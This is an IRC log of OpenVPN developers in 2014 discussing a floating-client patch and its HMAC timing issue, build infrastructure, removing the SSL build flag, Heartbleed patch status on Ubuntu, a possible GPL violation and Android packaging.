key used based on the HMAC 01:59 <@cron2> there's a new patch based on a new packet format containing a session id as well 01:59 <@cron2> that's what we agreed to do in Munich 01:59 < snappy> ah awesome 01:59 <@cron2> https://community.openvpn.net/openvpn/wiki/MunichHackathon2013 01:59 < snappy> does existing openvpn work well with the new format? 01:59 <@vpnHelper> Title: MunichHackathon2013 – OpenVPN Community (at community.openvpn.net) 01:59 < snappy> thanks 02:00 < snappy> gr, because its germany the first thing to click was "food" 02:00 <@cron2> here's the notes from the meeting (not *that* well structured, but all is in) and the plan how to implement it in a backwards-compatible way 02:00 <@cron2> client sends "I can do that", server sends "go use the new packet format" (if the server can do it), clients does so 02:01 <@cron2> I have not had time to review the patch on the list to see if it's following that plan - plaisthos did some testing, maybe he can comment more 02:02 < snappy> kind of happy to see it as a key part of discussions 02:17 <@mattock> dazo: do you think the "Linux Notes (using RPM package)" part of the HOWTO is worth saving? http://openvpn.net/index.php/open-source/documentation/howto.html 02:17 <@vpnHelper> Title: HOWTO (at openvpn.net) 02:17 <@mattock> I'm migrating the HOWTO to Trac and getting rid of old crud in the process 02:18 <@mattock> actually, I think merging the two linux notes sections makes most sense, and removing all the specifics which are probably hopelessly outdated 02:45 <@plaisthos> snappy: generally the patch works well and it is a good starting point. It has a few rough edges that need to fixed before the patch can be commited and what cron2 says 02:49 < snappy> plaisthos: to be clear, the patch we're discussing is the one that uses HMAC and walks the client list identifying the right key? 02:49 <@plaisthos> cron2: that was a quick turnaround time for a patch :) 02:49 <@plaisthos> snappy: no, the other one 02:49 <@plaisthos> the one called "Floating implementation. Use array lookup for new opcode P_DATA_V2 and check HMAC for floated peers." 02:50 <@plaisthos> by Lev Stipakov 02:50 < snappy> thanks, will take a look 02:50 <@plaisthos> snappy: if you need it on android I can provide you with an APK 02:52 < snappy> ah awesome, taht would be great 02:52 < snappy> actually ,i think i might test on mac first and try it out 02:52 < snappy> er to try it out 03:05 < snappy> great, looking forward to trying this patch when i get home; looks promising 03:07 * cron2 desperately needs a week without paying customers standing on my toes and demanding attention 04:29 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 05:17 -!- dazo_afk is now known as dazo 07:48 <@syzzer> snappy, plaisthos: ah the floating patch again. I took a quick look at it a while ago and it introduces a hmac-timing side channel again, so don't use it for really security critical stuff just yet. 08:10 <@plaisthos> syzzer: I did not look in that yet 08:11 <@plaisthos> syzzer: I stopped after I found that the found that the bound checks are not right ;) 08:14 <@cron2> ok, works as a proof of concept, but not ready to be included 08:14 <@cron2> does it do packet format negotiation 08:23 <@plaisthos> yes 08:23 <@plaisthos> client sends and IV_PROTO=2 08:24 <@plaisthos> and the server then sends a session-id 23 (or something else) which enables the new protcol 09:02 <@cron2> ok, this is about what we designed in munich 10:41 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds] 11:11 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 12:13 -!- dgollub [~dgollub@p20030045EE049101250590023CF433CA.dip0.t-ipconnect.de] has joined #openvpn-devel 12:23 <@cron2> mattock: your ubuntu slave is *still* running out of disk space! 12:43 <@mattock> oh shit. yes 12:43 <@mattock> hmm 12:43 <@mattock> ubuntu-1204-amd64? 12:44 <@mattock> yeah, that one 13:07 <@mattock> adding disk to it, so that this never ever happens again 13:20 <@plaisthos> I still have on my todo list to setup kvm+os x 13:20 <@plaisthos> %) 13:20 <@mattock> plaisthos: is that easy? 13:20 <@plaisthos> mattock: no 13:20 <@mattock> I assumed so :) 13:21 <@plaisthos> mattock: just follow this easy and small tutorial 13:21 <@plaisthos> http://www.contrib.andrew.cmu.edu/~somlo/OSXKVM/ 13:21 <@vpnHelper> Title: Running Mac OS X as a QEMU/KVM Guest (at www.contrib.andrew.cmu.edu) 13:21 <@mattock> yep, not exactly the same as installing Linux on KVM 13:22 <@plaisthos> and it is only allowed if your physical hardware is a mac 13:29 <@mattock> "allowed" being "Apple sanctioned"? 13:32 <@plaisthos> the OS X EULA allows only to run Mac OS X on Apple hardware 13:33 <@mattock> cron2: problem solved, 1.2GB free on root drive, and buildbot/buildtest/openvpn-build stuff on another partition, so those won't trip it over 13:33 <@mattock> the slave now seems to behave 13:53 -!- dgollub [~dgollub@p20030045EE049101250590023CF433CA.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 13:56 <@plaisthos> Ha! I am a scammer 13:56 <@plaisthos> I just got a review: **************NOTE THIS HIS *NOT* THE "OFFICAL OPENVPN********** FRIENDLY HEADS UP--THIS IS *NOT* THE OFFICIAL OPEN VPN THE *OFFICIAL* IS OpenVPN Connect details?id=net.openvpn.openvpn 14:08 <@cron2> plaisthos: you evil man, you! 14:51 <@dazo> hahaha 14:55 -!- dazo is now known as dazo_afk 15:01 -!- mattock is now known as mattock_afk 16:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 16:59 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 16:59 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 17:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Client Quit] 17:02 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:02 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 17:04 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 17:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:10 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 17:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Client Quit] 17:11 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:11 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:24 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 18:25 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 18:29 -!- Netsplit *.net <-> *.split quits: _bt 19:07 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 20:15 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 256 seconds] 20:15 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 20:15 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:22 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 22:33 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 260 seconds] 22:54 -!- SomeOne1 [~kvirc@37.105.207.162] has joined #openvpn-devel 22:58 < SomeOne1> hey guys any one here 22:58 < SomeOne1> ? 22:59 < SomeOne1> i am looking to report a bug or may be openvpn not support Win2012 R 2 Server in bridge mode --- Day changed Sat Jul 26 2014 00:20 -!- SomeOne1 [~kvirc@37.105.207.162] has quit [Ping timeout: 256 seconds] 00:44 -!- mattock_afk is now known as mattock 00:47 <@mattock> someone1: did you ask about this on forums? 00:48 <@mattock> or openvpn-user mailing list? 02:30 -!- mattock is now known as mattock_afk 10:07 -!- dgollub [~dgollub@p20030045EE049101B077CE6B69B1CC37.dip0.t-ipconnect.de] has joined #openvpn-devel 10:19 -!- mattock_afk is now known as mattock 11:31 -!- mattock is now known as mattock_afk 12:32 -!- dgollub [~dgollub@p20030045EE049101B077CE6B69B1CC37.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 16:46 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 18:20 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 18:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:22 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 18:22 -!- dazo_afk is now known as dazo --- Day changed Sun Jul 27 2014 11:06 <@pekster> FYI, EasyRSA-3.0.0-rc2 is available. Mostly existing-fixes on -master, plus one more from a local branch. *nix + Windows archives are also available 11:09 -!- mattock_afk is now known as mattock --- Log closed Sun Jul 27 15:01:28 2014 --- Log opened Mon Jul 28 08:02:59 2014 08:02 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:02 -!- Irssi: #openvpn-devel: Total of 22 nicks [10 ops, 0 halfops, 3 voices, 9 normal] 08:03 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 08:03 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 09:34 -!- You're now known as ecrist 11:35 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 15:04 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 15:42 -!- dazo is now known as dazo_afk 17:27 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 245 seconds] --- Day changed Tue Jul 29 2014 02:54 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:11 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 04:11 -!- mode/#openvpn-devel [+v novaflash] by ChanServ 04:26 -!- mattock is now known as mattock_afk 04:29 -!- mattock_afk is now known as mattock 05:37 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 05:37 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 05:37 <+debbie10t> can I get voice on #openvpn please ? 05:39 <+debbie10t> if not ~ are ovpn pings effected by firewall rules attached to dev tun ? 06:50 <@cron2> no 06:50 <@cron2> (not affected, can't do anything about voice or not) 06:50 <@cron2> dazo: plugin question for you on -devel list 07:02 <+debbie10t> thanks cron2 07:03 <@mattock> fyi: I switched Apache2/Trac to use mod_wsgi instead of mod_python (which is deprecated and unmaintained) 07:04 <@mattock> it looks like Trac is working ok, but in case you find any issues please ping me a.s.a.p. 07:14 -!- dazo_afk is now known as dazo 07:34 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 09:10 <+debbie10t> erm .. is there still no update for ubuntu 1404 on swupdate.openvpn.net ? 09:15 <+debbie10t> openvpn install on ub1404 is version 232 built feb 4 2014 which means it is heartbleed vulnerable 09:31 <@mattock> it's not, if openssl has been upgraded after that 09:31 <@mattock> openvpn is linked to openssl, and the heartbleed thing had nothing to do with openvpn itself, only openssl 09:31 <@mattock> so a fixed openssl version is enough 09:32 <+debbie10t> OK - thanks mattock - checking openssl 09:34 <@cron2> 234 has nice cool new features, and a few bug fixes, but nothing security related 09:35 <+debbie10t> hmm .. openssl 101f .. not updated 09:35 <+debbie10t> googling 09:39 <+debbie10t> seems like it was addressed : http://askubuntu.com/questions/449184/how-to-upgrade-openssl-1-0-1f-on-ubuntu-server-14-04 09:39 <@vpnHelper> Title: How to upgrade OpenSSL 1.0.1f on Ubuntu Server 14.04? - Ask Ubuntu (at askubuntu.com) 09:39 <@mattock> debbie10t: it's probable that they've just patched 1.0.1f 09:39 <+debbie10t> indeed 09:40 <@mattock> debian/ubuntu don't actually upgrade to new upstream releases, but rather patch the old version with security fixes 09:41 <+debbie10t> ok thanks -- AFK 13:35 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 14:49 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 14:54 -!- mattock is now known as mattock_afk 15:42 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 15:59 -!- dazo is now known as dazo_afk 16:17 <@vpnHelper> RSS Update - gitrepo: Fix typo in cipher_kt_mode_{cbc, ofb_cfb}() doxygen. <https://github.com/OpenVPN/openvpn/commit/38cd1ed5ee89218415c5edfc990cfd47fd879d55> --- Day changed Wed Jul 30 2014 01:03 -!- mattock_afk is now known as mattock 02:24 <@cron2> mornin 02:26 <@mattock> good morning 02:27 <@mattock> btw. updated https://community.openvpn.net/openvpn/wiki/GettingHelp to include "http://catb.org/~esr/faqs/smart-questions.html" 02:27 <@vpnHelper> Title: GettingHelp – OpenVPN Community (at community.openvpn.net) 02:27 <@mattock> I know one certain person who might benefit from reading that article 02:27 <@cron2> haha :) 02:27 <@mattock> for some reason I had managed to avoid that article myself 03:25 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 04:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 04:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:32 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 250 seconds] 04:44 -!- Netsplit *.net <-> *.split quits: @dazo_afk, @mattock, snappy 04:44 -!- Netsplit over, joins: dazo_afk 04:44 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:44 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:44 -!- Netsplit over, joins: mattock 04:45 -!- dazo_afk is now known as dazo 05:51 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 06:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 09:30 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 11:02 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Quit: Leaving.] 11:06 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 12:11 -!- ender^ [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 14:00 -!- mattock is now known as mattock_afk 14:18 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:39 -!- ender` [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:41 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 14:54 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds] 15:10 -!- dazo is now known as dazo_afk 16:58 -!- raidz is now known as raidz_away 17:35 -!- raidz_away is now known as raidz 23:50 -!- mattock_afk is now known as mattock --- Day changed Thu Jul 31 2014 02:53 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:34 -!- pp| [~pfaffe@i41mpc144.ipd.uni-karlsruhe.de] has joined #openvpn-devel 03:42 <@syzzer> hmm, I´m tempted to propose removing the --enable-ssl configure flag. Before I do so on the mailing list, just poking here if there are people with objections. 03:43 <@syzzer> I´m still hacking on GCM-mode in the data channel, and introducing a new more effifienct data channel packet format for CTR (like GCM) crypto modes, and just having to deal with run-time ssl/static key mode options instead of compile-time too would make my life a bit easier... 03:45 <@syzzer> that would mean that each crypto-capable build would also be ssl-capable, but static key mode will still be a run-time option. 04:04 <@cron2> syzzer: well... people supposedly build ssl-free point-to-point openvpn tunnels... 04:05 * cron2 would welcome not having all these build variants, but that's a fairly significant decision 04:06 <@syzzer> cron2: people can still build their ssl-free point-to-point openvpn tunnel, the binary will just be capable of doing more ;) 04:07 <@cron2> true :-) - dazo's standard argument here is "but embedded systems! the code size!" 04:09 <@syzzer> yeah, I'm wondering whether that still is a real issue, embedded systems grow too 04:11 <@syzzer> but this is why I'm asking, I'd like to know if there are people who are using this 04:11 * cron2 <- not 04:27 -!- mattock is now known as mattock_afk 05:18 -!- mattock_afk is now known as mattock 05:20 <@plaisthos> the disable-ssl variants are probably almost untested 05:43 -!- dazo_afk is now known as dazo 05:46 <@dazo> syzzer: Shoot an e-mail to James about removing --disable-ssl and require all builds to have SSL. --disable-ssl should only disable the TLS/SSL bits, while --disable-crypto would remove the encryption 05:48 <@dazo> And if James doesn't have anything against it ... I'd say it's fine to go ... I believe it's the paying openvpn customers of OpenVPN Tech who are the key point in this 06:06 -!- dazo is now known as dazo_afk 06:15 -!- dazo_afk is now known as dazo 07:01 <@syzzer> okay, thanks. I'll cook up a mail than :) 07:02 <@syzzer> *then --- Log closed Thu Jul 31 08:13:58 2014 --- Log opened Thu Jul 31 10:41:33 2014 10:41 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 10:41 -!- Irssi: #openvpn-devel: Total of 21 nicks [10 ops, 0 halfops, 3 voices, 8 normal] 10:41 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 10:41 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 10:41 -!- You're now known as ecrist 11:05 <@vpnHelper> RSS Update - tickets: #431: AD Login <https://community.openvpn.net/openvpn/ticket/431> 11:25 <@mattock> dazo: you beat me to it :P 11:25 <@dazo> heh 12:30 -!- pp| [~pfaffe@i41mpc144.ipd.uni-karlsruhe.de] has quit [Remote host closed the connection] 15:02 -!- dazo is now known as dazo_afk 15:12 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 17:17 -!- mattock is now known as mattock_afk 20:59 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 245 seconds] --- Day changed Fri Aug 01 2014 01:52 -!- dgollub [~dgollub@p20030045EE0AA401A83D005AFA027300.dip0.t-ipconnect.de] has joined #openvpn-devel 02:12 -!- mattock_afk is now known as mattock 02:24 -!- dgollub [~dgollub@p20030045EE0AA401A83D005AFA027300.dip0.t-ipconnect.de] has left #openvpn-devel [] 03:36 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 03:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:39 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:55 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 08:34 -!- dazo is now known as dazo_afk 10:02 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds] 10:34 <@plaisthos> GPL Vilation++: https://play.google.com/store/apps/details?id=com.finchvpn.android 10:46 <@plaisthos> hm 10:46 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 256 seconds] 10:46 <@plaisthos> they include a copyright notice 10:46 <@plaisthos> but there is no source code to be seen anywhere 10:49 <@plaisthos> mattock: for reference http://plai.de/.tmp/finchvpn.png 11:01 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 11:26 <@mattock> plaisthos: impressive, all the licenses and copyrights listed 11:27 <@mattock> technically they don't need to have the code available, only to provide it on request 11:27 <@mattock> although having it available would be easiest for everyone 11:32 <@plaisthos> mattock: yeah 11:32 <@plaisthos> it is forked from my tip (hg master) 11:33 <@plaisthos> and includes the experimental session id patch because my tip branch happens to include that at the moment %) 11:33 <@plaisthos> strings lib/mips/libopenvpn.so |grep ics 11:33 <@plaisthos> OpenVPN 2.4-icsopenvpn [git:icsopenvpn_618-e63b88d330782d14] android-14-mips [SSL (OpenSSL)] [LZO] [SNAPPY] [LZ4] [EPOLL] [MH] [IPv6] built on Jul 22 2014 12:17 <@cron2> plaisthos: now that is "living on the edge" :) 12:27 <@plaisthos> :D 13:44 -!- mattock is now known as mattock_afk --- Day changed Sat Aug 02 2014 00:57 -!- mattock_afk is now known as mattock 07:34 <@cron2> ho hum. is there no socks proxy support in iOS OpenVPN?! 11:28 <@plaisthos> cron2: nobody seems to using socks 11:28 <@plaisthos> that was also broken quite a long time in my client 11:38 <@cron2> *I* use socks nowadays :) 11:50 <@cron2> the setup is slightly tricky... I have a direct ISDN dial-up to a customer, and also a VPN which goes via Internet - but when I VPN "from home", the return packets take the ISDN route. So I bounce the VPN off a socks proxy which is "outside" :-) 11:51 <@cron2> is there any other proxy protocol that can be used for UDP? 18:53 -!- mattock is now known as mattock_afk 22:52 -!- siruf [~siruf@unaffiliated/motley] has quit [Remote host closed the connection] --- Day changed Sun Aug 03 2014 00:25 <+krzee> i use socks, just not on my android, and i dont use ios 03:21 -!- mattock_afk is now known as mattock 07:14 <@plaisthos> cron2: don't think so 07:19 <@plaisthos> at least not widespread 07:58 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 07:58 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:08 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 09:53 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 09:55 <+debbie10t> mattock - please see this post : https://forums.openvpn.net/topic16555.html 09:55 <@vpnHelper> Title: OpenVPN Support Forum debian repo key expired : Forum & Website Support (at forums.openvpn.net) 11:45 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] --- Day changed Mon Aug 04 2014 02:39 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:00 <@plaisthos> yeah, 64 bit android support. Now I can make my android binary even fatter with supporting 7 architectures (arm64-v8a armeabi armeabi-v7a mips mips64 x86 x86_64 04:02 <@mattock> debbie10t: ah yes, that one 04:03 <@mattock> will fix it tomorrow (responding to the post...) 04:36 <@syzzer> plaisthos: google filters that for you, don't they? iirc they only sent the binary for you actual platform if you use the regular play store stuff 05:27 -!- dazo_afk is now known as dazo 05:40 <@plaisthos> syzzer: nah, you can opt to have multiple apks with different platforms but if you don't you get the full apk 05:40 <@plaisthos> google actually recommands _NOT_ splitting the apk into multiple apks 05:41 <@plaisthos> since backup/device changes etc. you will end up with an apk without your archtitecture 05:41 <@plaisthos> and most apps should not have so much binary code that it matters 05:56 <@plaisthos> building does not work anyway :D 05:56 <@plaisthos> ./obj/local/mips64/objs/openvpn/src/openvpn/crypto_openssl.o: In function `crypto_clear_error': 06:18 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 06:19 <@plaisthos> the arm64 and amd64 variants add 2,3 MB (mips64 doesn't compile and I think I don't care about mips64) 06:53 <@syzzer> oh, wow, it won't build even? That's strange. Since both amd64 and ARM builds work just fine, I'd expect arm64 to work too. Did you already find the culprit? 14:24 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 15:35 <@plaisthos> syzzer: some bizarre linker errors 15:37 -!- mattock is now known as mattock_afk 15:38 <@plaisthos> the existence of the compilers is strange itself, as there neither public emulator image nor hardware devices runing 64bit 18:26 -!- dazo is now known as dazo_afk --- Day changed Tue Aug 05 2014 01:19 -!- mattock_afk is now known as mattock 01:40 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 01:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 01:46 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:42 <@cron2> the idea to do a crowdfunding openvpn-with-threads project sounds interesting... :-) 02:44 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:44 <@syzzer> yeah, and probably viable too 02:47 <@cron2> ... but it's still a fairly tough excercise... 02:48 <@syzzer> I really should pick up my GCM-work again, there are some patches in that branch to decouple more stuff, which is probably neccessary for multithreading too 02:48 <@cron2> sounds good :-) 02:48 <@cron2> (any multithreading work isn't going into 2.4 though... otherwise that one will never see a release) 02:49 <@syzzer> yeah, that sounds like a wise decision ;) 02:51 <@syzzer> the frame size calculation patch from last week also comes from my gcm-branch 02:52 <@syzzer> as are the OFB/CFB patches from a while ago. I discover all sorts of interesting stuff while trying to implement that properly... 03:54 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 255 seconds] 03:54 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 07:20 -!- dazo_afk is now known as dazo 07:32 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has joined #openvpn-devel 08:11 <@cron2> syzzer: yeah, there's stuff on the -devel list that needs merging... we've slightly lost momentum again :-( 08:17 <@syzzer> mattock: I use your repo too :) 08:17 <@mattock> syzzer: ah, nice! 08:17 <@mattock> I haven't looked at the webserver statistics in a while, so I don't know how much the repos are used 08:17 <@syzzer> related question: do you have the debian packaging metadata available somewhere? 08:17 <@mattock> but three complaints in a day mean there are probably at least hundreds of users 08:17 <@mattock> syzzer: yep, I do 08:17 <@mattock> just a sec, I'll verify where exactly 08:18 <@mattock> I restructured the build system to use sbuild a while back... 08:18 <@syzzer> ah, cool. I've been playing a bit with debian packaging and was looking into automatically building polarssl builds 08:18 <@mattock> syzzer: I think we should put the packaging files in somewhere public so that we can work on the same files 08:18 <@mattock> maybe two branches or so 08:18 <@syzzer> openvpn-build ? 08:18 <@mattock> possibly 08:19 <@syzzer> or maybe a new openvpn-package repo 08:20 <@mattock> syzzer: what operating systems do you intend to support? 08:20 <@mattock> because I have a fairly comprehensive set of scripts to automate the builds 08:20 <@mattock> just wondering if you want to use the scripts also 08:20 <@syzzer> for now just debian and ubuntu (all currently supported versions) 08:20 <@mattock> ok, then you want the scripts 08:20 <@mattock> quite a few variants 08:20 <@syzzer> yeah 08:21 <@syzzer> at work I have a build farm with lots of machines to run tests on a lot of platforms, but at home I need the chroot-scripts to make that happen ;) 08:22 <@mattock> I'll wrap the scripts into a Git repo and publish that on GitHub 08:23 <@mattock> we can decide later if it should go to openvpn-build instead 08:23 <@mattock> takes maybe an hour or so 09:18 <@syzzer> mattock: cool! 09:18 <@mattock> I'm cleaning up the scripts because they contain hardcoded paths and such 09:19 <@mattock> I'll put the cleaned up versions here after some brief testing: https://github.com/mattock/sbuild_wrapper 09:19 <@vpnHelper> Title: mattock/sbuild_wrapper · GitHub (at github.com) 09:19 <@mattock> we can merge those to openvpn-build later unless I make the scripts generic enough to be useful outside openvpn 09:19 <@mattock> which might actually make sense 09:20 <+krzee> cool, multithreading talk! 10:06 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 272 seconds] 10:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 10:12 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:28 -!- dgollub [~dgollub@pd95cdee4.dip0.t-ipconnect.de] has quit [Ping timeout: 244 seconds] 12:30 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has joined #openvpn-devel 12:30 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 12:32 <+debbie10t> Hi - this is very trivial but somebody has asked about the icons used in i686 vs x86_64 versions of OPNVPN-GUI - So I was wondering if it was just something that was overlooked on the last release and if it is planned to use all the same icons in the next release 2.4.x ? 12:32 <+debbie10t> See this post : https://forums.openvpn.net/topic16569.html 12:32 <@vpnHelper> Title: OpenVPN Support Forum how do I change OpenVPN GUI's icon? : Configuration (at forums.openvpn.net) 12:33 <+debbie10t> tia 12:39 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: AF_INET -> AF_INET6] 12:40 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:40 -!- mode/#openvpn-devel [+o pekster] by ChanServ 12:51 -!- ender` is now known as ender 13:34 -!- novaflash is now known as novaflash_away 13:53 -!- novaflash_away is now known as novaflash 15:38 -!- dazo is now known as dazo_afk 16:29 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 16:47 -!- mattock is now known as mattock_afk 18:12 -!- debbie10t [~debbie10t@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] --- Day changed Wed Aug 06 2014 01:32 -!- mattock_afk is now known as mattock 01:57 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel --- Log closed Wed Aug 06 02:57:33 2014 --- Log opened Wed Aug 06 02:57:42 2014 02:57 -!- ecrist_ [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 02:57 -!- Irssi: #openvpn-devel: Total of 20 nicks [10 ops, 0 halfops, 3 voices, 7 normal] 02:57 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 02:58 -!- Irssi: Join to #openvpn-devel was synced in 51 secs 02:58 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Read error: Connection reset by peer] 03:52 -!- dgollub [~dgollub@p20030045EE0AA40181F3D500557DB4D4.dip0.t-ipconnect.de] has joined #openvpn-devel 03:53 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 250 seconds] 03:53 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 266 seconds] 03:53 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 266 seconds] 03:54 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 03:55 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 03:55 -!- mode/#openvpn-devel [+o pekster] by ChanServ 04:08 -!- dazo_afk is now known as dazo 04:18 -!- dgollub [~dgollub@p20030045EE0AA40181F3D500557DB4D4.dip0.t-ipconnect.de] has quit 